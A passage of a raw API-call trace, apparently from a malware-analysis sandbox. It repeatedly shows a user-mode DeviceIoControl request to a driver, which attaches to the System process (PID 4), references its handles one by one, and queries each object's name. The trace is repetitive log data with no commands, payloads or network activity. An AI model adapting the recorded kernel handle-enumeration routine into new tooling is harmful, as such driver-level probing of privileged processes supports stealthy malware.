PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.308] PsAcquireProcessExitSynchronization () returned 0x0 [0130.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.308] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f5f20, HandleInformation=0x0) returned 0x0 [0130.308] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.308] PsReleaseProcessExitSynchronization () returned 0x2 [0130.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.308] ObQueryNameString (in: Object=0xfffffa80037f5f20, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.308] ObfDereferenceObject (Object=0xfffffa80037f5f20) returned 0x2 [0130.308] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.308] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.308] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.308] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.308] PsAcquireProcessExitSynchronization () returned 0x0 [0130.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.308] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001eeeac0, HandleInformation=0x0) returned 0x0 [0130.308] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.308] PsReleaseProcessExitSynchronization () returned 0x2 [0130.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.309] ObQueryNameString (in: Object=0xfffffa8001eeeac0, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.309] ObfDereferenceObject (Object=0xfffffa8001eeeac0) returned 0x2 [0130.309] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.309] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.309] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.309] PsAcquireProcessExitSynchronization () returned 0x0 [0130.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.309] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800f9bff20, HandleInformation=0x0) returned 0x0 [0130.309] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.309] PsReleaseProcessExitSynchronization () returned 0x2 [0130.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.309] ObQueryNameString (in: Object=0xfffffa800f9bff20, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.309] ObfDereferenceObject (Object=0xfffffa800f9bff20) returned 0x2 [0130.309] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.309] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.309] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.309] PsAcquireProcessExitSynchronization () returned 0x0 [0130.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.309] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a50, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fe24c0, HandleInformation=0x0) returned 0x0 [0130.309] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.309] PsReleaseProcessExitSynchronization () returned 0x2 [0130.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.309] ObQueryNameString (in: Object=0xfffffa8001fe24c0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.309] ObfDereferenceObject (Object=0xfffffa8001fe24c0) returned 0x2 [0130.309] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.309] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.309] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.309] PsAcquireProcessExitSynchronization () returned 0x0 [0130.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.310] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f3460, HandleInformation=0x0) returned 0x0 [0130.310] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.310] PsReleaseProcessExitSynchronization () returned 0x2 [0130.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.310] ObQueryNameString (in: Object=0xfffffa80037f3460, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.310] ObfDereferenceObject (Object=0xfffffa80037f3460) returned 0x2 [0130.310] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.310] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.310] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.310] PsAcquireProcessExitSynchronization () returned 0x0 [0130.310] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.310] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0130.310] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.310] PsReleaseProcessExitSynchronization () returned 0x2 [0130.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.310] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.310] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0130.311] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.311] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.311] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.311] PsAcquireProcessExitSynchronization () returned 0x0 [0130.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.311] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002401f20, HandleInformation=0x0) returned 0x0 [0130.311] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.311] PsReleaseProcessExitSynchronization () returned 0x2 [0130.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.311] ObQueryNameString (in: Object=0xfffffa8002401f20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.311] ObfDereferenceObject (Object=0xfffffa8002401f20) returned 0x2 [0130.311] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.311] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.311] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.311] PsAcquireProcessExitSynchronization () returned 0x0 [0130.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.311] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800390e050, HandleInformation=0x0) returned 0x0 [0130.311] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.311] PsReleaseProcessExitSynchronization () returned 0x2 [0130.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.311] ObQueryNameString (in: Object=0xfffffa800390e050, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.311] ObfDereferenceObject (Object=0xfffffa800390e050) returned 0x2 [0130.311] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.311] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.311] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.311] PsAcquireProcessExitSynchronization () returned 0x0 [0130.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.311] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800250a420, HandleInformation=0x0) returned 0x0 [0130.312] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.312] PsReleaseProcessExitSynchronization () returned 0x2 [0130.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.312] ObQueryNameString (in: Object=0xfffffa800250a420, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.312] ObfDereferenceObject (Object=0xfffffa800250a420) returned 0x2 [0130.312] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.312] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.312] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.312] PsAcquireProcessExitSynchronization () returned 0x0 [0130.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.312] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80036033c0, HandleInformation=0x0) returned 0x0 [0130.312] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.312] PsReleaseProcessExitSynchronization () returned 0x2 [0130.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.312] ObQueryNameString (in: Object=0xfffffa80036033c0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.312] ObfDereferenceObject (Object=0xfffffa80036033c0) returned 0x2 [0130.312] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.312] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.312] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.312] PsAcquireProcessExitSynchronization () returned 0x0 [0130.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.312] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021b1930, HandleInformation=0x0) returned 0x0 [0130.312] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.312] PsReleaseProcessExitSynchronization () returned 0x2 [0130.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.312] ObQueryNameString (in: Object=0xfffffa80021b1930, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.312] ObfDereferenceObject (Object=0xfffffa80021b1930) returned 0x2 [0130.312] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.312] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.312] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.313] PsAcquireProcessExitSynchronization () returned 0x0 [0130.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025eb4e0, HandleInformation=0x0) returned 0x0 [0130.313] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.313] PsReleaseProcessExitSynchronization () returned 0x2 [0130.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.313] ObQueryNameString (in: Object=0xfffffa80025eb4e0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.313] ObfDereferenceObject (Object=0xfffffa80025eb4e0) returned 0x2 [0130.313] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.313] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.313] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.313] PsAcquireProcessExitSynchronization () returned 0x0 [0130.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a98, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002140cb0, HandleInformation=0x0) returned 0x0 [0130.313] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.313] PsReleaseProcessExitSynchronization () returned 0x2 [0130.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.313] ObQueryNameString (in: Object=0xfffffa8002140cb0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.313] ObfDereferenceObject (Object=0xfffffa8002140cb0) returned 0x2 [0130.313] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.313] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.313] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.313] PsAcquireProcessExitSynchronization () returned 0x0 [0130.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0130.313] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.313] PsReleaseProcessExitSynchronization () returned 0x2 [0130.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.314] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.314] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0130.314] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.314] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.314] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.314] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.314] PsAcquireProcessExitSynchronization () returned 0x0 [0130.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.314] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800a16a2a0, HandleInformation=0x0) returned 0x0 [0130.314] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.314] PsReleaseProcessExitSynchronization () returned 0x2 [0130.314] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.314] ObQueryNameString (in: Object=0xfffffa800a16a2a0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.314] ObfDereferenceObject (Object=0xfffffa800a16a2a0) returned 0x2 [0130.314] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.314] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.314] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.314] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.314] PsAcquireProcessExitSynchronization () returned 0x0 [0130.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.314] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800258ec90, HandleInformation=0x0) returned 0x0 [0130.314] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.314] PsReleaseProcessExitSynchronization () returned 0x2 [0130.314] ObfDereferenceObject (Object=0xfffffa8001850990) returned 